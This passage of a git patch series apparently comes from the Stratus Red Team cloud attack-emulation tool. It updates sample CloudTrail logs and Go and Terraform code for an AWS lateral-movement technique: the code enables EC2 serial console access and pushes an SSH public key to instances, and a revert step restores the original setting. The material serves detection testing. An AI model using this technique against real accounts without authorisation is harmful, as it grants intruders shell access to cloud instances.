"37ba412b-f943-44f2-ae48-4527f6e789d9", + "eventName": "EnableSerialConsoleAccess", + "eventSource": "ec2.amazonaws.com", + "eventTime": "2024-11-26T15:35:22Z", + "eventType": "AwsApiCall", + "eventVersion": "1.10", + "managementEvent": true, + "readOnly": false, + "recipientAccountId": "844015365555", + "requestID": "e110338f-cc06-4284-bf16-6528a7df1561", + "requestParameters": { + "EnableSerialConsoleAccessRequest": "" + }, + "responseElements": { + "EnableSerialConsoleAccessResponse": { + "requestId": "e110338f-cc06-4284-bf16-6528a7df1561", + "serialConsoleAccessEnabled": true, + "xmlns": "http://ec2.amazonaws.com/doc/2016-11-15/" + } + }, + "sourceIPAddress": "201.252.42.03", + "tlsDetails": { + "cipherSuite": "TLS_AES_128_GCM_SHA256", + "clientProvidedHostHeader": "ec2.cniso-east-3r.amazonaws.com", + "tlsVersion": "TLSv1.3" + }, + "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0", + "userIdentity": { + "accessKeyId": "ASIA2HJRQF0DHNYEE9N1", + "accountId": "844015365555", + "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com", + "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com", + "sessionContext": { + "attributes": { + "creationDate": "2024-11-26T15:14:58Z", + "mfaAuthenticated": "false" + }, + "sessionIssuer": { + "accountId": "844015365555", + "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff", + "principalId": "AROAEMHZD694LU95MUYOP", + "type": "Role", + "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff" + } + }, + "type": "AssumedRole" + } + }, + { + "awsRegion": "cniso-east-3r", + "eventCategory": "Management", + "eventID": "787b2464-f27b-4d4c-91bc-6396f2297d0e", "eventName": "SendSerialConsoleSSHPublicKey", "eventSource": "ec2-instance-connect.amazonaws.com", - "eventTime": "2024-11-26T10:51:12Z", + "eventTime": "2024-11-26T15:35:23Z", "eventType": "AwsApiCall", "eventVersion": "1.08", "managementEvent": true, "readOnly": false, - "recipientAccountId": "673637476045", - "requestID": "e96ac1bf-51f0-4560-be1f-bb94bf4dc177", + "recipientAccountId": "844015365555", + "requestID": "c74b1e77-bc91-4174-b297-d06a71c89abf", "requestParameters": { - "instanceId": "i-7C5CBC1114349DB57", + "instanceId": "i-EFCb4e480CAbc4CF9", "monitorMode": false, "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", "serialPort": 0 }, "responseElements": { - "requestId": "e96ac1bf-51f0-4560-be1f-bb94bf4dc177", + "requestId": "c74b1e77-bc91-4174-b297-d06a71c89abf", "success": true }, - "sourceIPAddress": "218.215.244.17", + "sourceIPAddress": "201.252.42.03", "tlsDetails": { "cipherSuite": "TLS_AES_128_GCM_SHA256", - "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com", "tlsVersion": "TLSv1.3" }, - "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0", "userIdentity": { - "accessKeyId": "ASIA7J3OZH03T5QLALG3", - "accountId": "673637476045", - "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", - "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "accessKeyId": "ASIA2HJRQF0DHNYEE9N1", + "accountId": "844015365555", + "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com", + "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com", "sessionContext": { "attributes": { - "creationDate": "2024-11-26T10:42:10Z", + "creationDate": "2024-11-26T15:14:58Z", "mfaAuthenticated": "false" }, "sessionIssuer": { - "accountId": "673637476045", - "arn": "arn:aws:iam::673637476045:role/sample-role", - "principalId": "AROARI36U4FA2S9L0G6R4", + "accountId": "844015365555", + "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff", + "principalId": "AROAEMHZD694LU95MUYOP", "type": "Role", - "userName": "sample-role" + "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff" }, "webIdFederationData": {} }, @@ -52,51 +103,51 @@ } }, { - "awsRegion": "me-northnorth-1r", + "awsRegion": "cniso-east-3r", "eventCategory": "Management", - "eventID": "3c56f906-ae4c-428b-8840-87f96ad2fb53", + "eventID": "e49972cb-b394-43e2-aab5-602f1fb56f85", "eventName": "SendSerialConsoleSSHPublicKey", "eventSource": "ec2-instance-connect.amazonaws.com", - "eventTime": "2024-11-26T10:51:12Z", + "eventTime": "2024-11-26T15:35:23Z", "eventType": "AwsApiCall", "eventVersion": "1.08", "managementEvent": true, "readOnly": false, - "recipientAccountId": "673637476045", - "requestID": "034be9c3-8ce9-4bc4-b174-96270e9cb784", + "recipientAccountId": "844015365555", + "requestID": "d392c0ca-351f-472f-9ca3-b411beb9df9c", "requestParameters": { - "instanceId": "i-1150EdC0D493fbb5c", + "instanceId": "i-B2ABDCa5b78E0f1dd", "monitorMode": false, "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", "serialPort": 0 }, "responseElements": { - "requestId": "034be9c3-8ce9-4bc4-b174-96270e9cb784", + "requestId": "d392c0ca-351f-472f-9ca3-b411beb9df9c", "success": true }, - "sourceIPAddress": "218.215.244.17", + "sourceIPAddress": "201.252.42.03", "tlsDetails": { "cipherSuite": "TLS_AES_128_GCM_SHA256", - "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com", "tlsVersion": "TLSv1.3" }, - "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0", "userIdentity": { - "accessKeyId": "ASIA7J3OZH03T5QLALG3", - "accountId": "673637476045", - "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", - "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "accessKeyId": "ASIA2HJRQF0DHNYEE9N1", + "accountId": "844015365555", + "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com", + "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com", "sessionContext": { "attributes": { - "creationDate": "2024-11-26T10:42:10Z", + "creationDate": "2024-11-26T15:14:58Z", "mfaAuthenticated": "false" }, "sessionIssuer": { - "accountId": "673637476045", - "arn": "arn:aws:iam::673637476045:role/sample-role", - "principalId": "AROARI36U4FA2S9L0G6R4", + "accountId": "844015365555", + "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff", + "principalId": "AROAEMHZD694LU95MUYOP", "type": "Role", - "userName": "sample-role" + "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff" }, "webIdFederationData": {} }, @@ -104,51 +155,51 @@ } }, { - "awsRegion": "me-northnorth-1r", + "awsRegion": "cniso-east-3r", "eventCategory": "Management", - "eventID": "40bff50c-9205-406c-b47e-b928e668cbb9", + "eventID": "f4dc86c9-6b22-4643-a0e8-fcb97fcfae68", "eventName": "SendSerialConsoleSSHPublicKey", "eventSource": "ec2-instance-connect.amazonaws.com", - "eventTime": "2024-11-26T10:51:12Z", + "eventTime": "2024-11-26T15:35:22Z", "eventType": "AwsApiCall", "eventVersion": "1.08", "managementEvent": true, "readOnly": false, - "recipientAccountId": "673637476045", - "requestID": "b441ad3b-66d5-4497-a364-ed7b047a2ebe", + "recipientAccountId": "844015365555", + "requestID": "88c8e41e-7754-4377-983f-140f8ca5617e", "requestParameters": { - "instanceId": "i-DEbfB3Feb0e927a6c", + "instanceId": "i-D46eD8FCdefED5aAE", "monitorMode": false, "sSHPublicKey": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtAlK45MAEWZ7MUY2QEmi3M6W+peGL3VCrc0qH54xRu", "serialPort": 0 }, "responseElements": { - "requestId": "b441ad3b-66d5-4497-a364-ed7b047a2ebe", + "requestId": "88c8e41e-7754-4377-983f-140f8ca5617e", "success": true }, - "sourceIPAddress": "218.215.244.17", + "sourceIPAddress": "201.252.42.03", "tlsDetails": { "cipherSuite": "TLS_AES_128_GCM_SHA256", - "clientProvidedHostHeader": "ec2-instance-connect.me-northnorth-1r.amazonaws.com", + "clientProvidedHostHeader": "ec2-instance-connect.cniso-east-3r.amazonaws.com", "tlsVersion": "TLSv1.3" }, - "userAgent": "stratus-red-team_f0e522d8-53af-4063-aa42-e5601970f482", + "userAgent": "stratus-red-team_b0fedc91-bd4a-4ba1-a776-80e707fef2a0", "userIdentity": { - "accessKeyId": "ASIA7J3OZH03T5QLALG3", - "accountId": "673637476045", - "arn": "arn:aws:sts::673637476045:assumed-role/AWSReservedSSOrandomkOMjLGj7NVc3@gmail.com", - "principalId": "AROARI36U4FA2S9L0G6R4:randomjci5H04kojgi@gmail.com", + "accessKeyId": "ASIA2HJRQF0DHNYEE9N1", + "accountId": "844015365555", + "arn": "arn:aws:sts::844015365555:assumed-role/AWSReservedSSOrandoml3I7nL6f7BmB@gmail.com", + "principalId": "AROAEMHZD694LU95MUYOP:randomca0L529zwNAY@gmail.com", "sessionContext": { "attributes": { - "creationDate": "2024-11-26T10:42:10Z", + "creationDate": "2024-11-26T15:14:58Z", "mfaAuthenticated": "false" }, "sessionIssuer": { - "accountId": "673637476045", - "arn": "arn:aws:iam::673637476045:role/sample-role", - "principalId": "AROARI36U4FA2S9L0G6R4", + "accountId": "844015365555", + "arn": "arn:aws:iam::844015365555:role/aws-reserved/sso.amazonaws.com/AWSReservedSSO_account-admin_599c9e90e350d2ff", + "principalId": "AROAEMHZD694LU95MUYOP", "type": "Role", - "userName": "sample-role" + "userName": "AWSReservedSSO_account-admin_599c9e90e350d2ff" }, "webIdFederationData": {} }, diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go index a2c89f4e7..8057e7caa 100644 --- a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go @@ -4,10 +4,12 @@ import ( "context" _ "embed" "fmt" + "github.com/aws/aws-sdk-go-v2/service/ec2" "github.com/aws/aws-sdk-go-v2/service/ec2instanceconnect" "github.com/datadog/stratus-red-team/v2/pkg/stratus" "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" "log" + "strconv" "strings" "time" ) @@ -52,13 +54,22 @@ Identify, through CloudTrail's SendSerialConsoleSSHPublicKey event, IsIdempotent: true, MitreAttackTactics: []mitreattack.Tactic{mitreattack.LateralMovement}, Detonate: detonate, + Revert: revert, }) } func detonate(params map[string]string, providers stratus.CloudProviders) error { + ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection()) ec2instanceconnectClient := ec2instanceconnect.NewFromConfig(providers.AWS().GetConnection()) instanceIDs := strings.Split(params["instance_ids"], ",") + // Enable serial console access + log.Println("Enabling serial console access at the region level") + if err := setSerialConsoleEnabled(ec2Client, true); err != nil { + return fmt.Errorf("failed to disable serial console access: %v", err) + } + + log.Println("Sending SSH public key to " + strconv.Itoa(len(instanceIDs)) + " EC2 instances via serial console") for _, instanceID := range instanceIDs { cleanInstanceID := strings.Trim(instanceID, " \"\n\r") err := sendSerialConsoleSSHPublicKey(ec2instanceconnectClient, cleanInstanceID, publicSSHKey) @@ -79,6 +90,25 @@ func detonate(params map[string]string, providers stratus.CloudProviders) error return nil } +func revert(params map[string]string, providers stratus.CloudProviders) error { + // Serial console access was already enabled before running Stratus Red Team. Nothing to do + if params["serial_console_access_initial_value"] == "true" { + log.Println("Serial console access was already enabled before running Stratus Red Team. Keeping it enabled") + return nil + } + + // Serial console access was disabled before running Stratus Red Team. Since the detonation enabled it, + // and it's a region-wide setting, we now need to revert it back to its original value (false) + ec2Client := ec2.NewFromConfig(providers.AWS().GetConnection()) + log.Println("Serial console access was disabled before running Stratus Red Team. Disabling it again.") + if err := setSerialConsoleEnabled(ec2Client, false); err != nil { + return fmt.Errorf("failed to disable serial console access: %v", err) + } + + return nil +} + +// Utility functions func sendSerialConsoleSSHPublicKey(ec2instanceconnectClient *ec2instanceconnect.Client, instanceId string, sshPublicKey string) error { _, err := ec2instanceconnectClient.SendSerialConsoleSSHPublicKey(context.Background(), &ec2instanceconnect.SendSerialConsoleSSHPublicKeyInput{ InstanceId: &instanceId, @@ -87,3 +117,13 @@ func sendSerialConsoleSSHPublicKey(ec2instanceconnectClient *ec2instanceconnect. return err } + +func setSerialConsoleEnabled(ec2Client *ec2.Client, enabled bool) error { + if enabled { + _, err := ec2Client.EnableSerialConsoleAccess(context.Background(), &ec2.EnableSerialConsoleAccessInput{}) + return err + } else { + _, err := ec2Client.DisableSerialConsoleAccess(context.Background(), &ec2.DisableSerialConsoleAccessInput{}) + return err + } +} diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.tf b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.tf index 174a35380..4a5ea099b 100644 --- a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.tf +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.tf @@ -30,10 +30,7 @@ data "aws_availability_zones" "available" { state = "available" } -# Ensures that serial console access is enabled in the current region -resource "aws_ec2_serial_console_access" "serial_console_access" { - enabled = true -} +data "aws_ec2_serial_console_access" "current" {} module "vpc" { source = "terraform-aws-modules/vpc/aws" @@ -131,4 +128,8 @@ output "display" { output "instance_role_name" { value = aws_iam_role.instance-role.name -} \ No newline at end of file +} + +output "serial_console_access_initial_value" { + value = data.aws_ec2_serial_console_access.current.enabled +} From c9368e9e8869181c82247558cac51f80810e2489 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Thu, 28 Nov 2024 12:28:20 +0100 Subject: [PATCH 10/10] Remove unused variable --- .../ec2-send-serial-console-send-ssh-public-key/main.go | 1 - 1 file changed, 1 deletion(-) diff --git a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go index 8057e7caa..91daa0a39 100644 --- a/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go +++ b/v2/internal/attacktechniques/aws/lateral-movement/ec2-send-serial-console-send-ssh-public-key/main.go @@ -21,7 +21,6 @@ var publicSSHKey string var tf []byte func init() { - const codeBlock = "```" stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ ID: "aws.lateral-movement.ec2-serial-console-send-ssh-public-key", FriendlyName: "Usage of EC2 Serial Console to push SSH public key",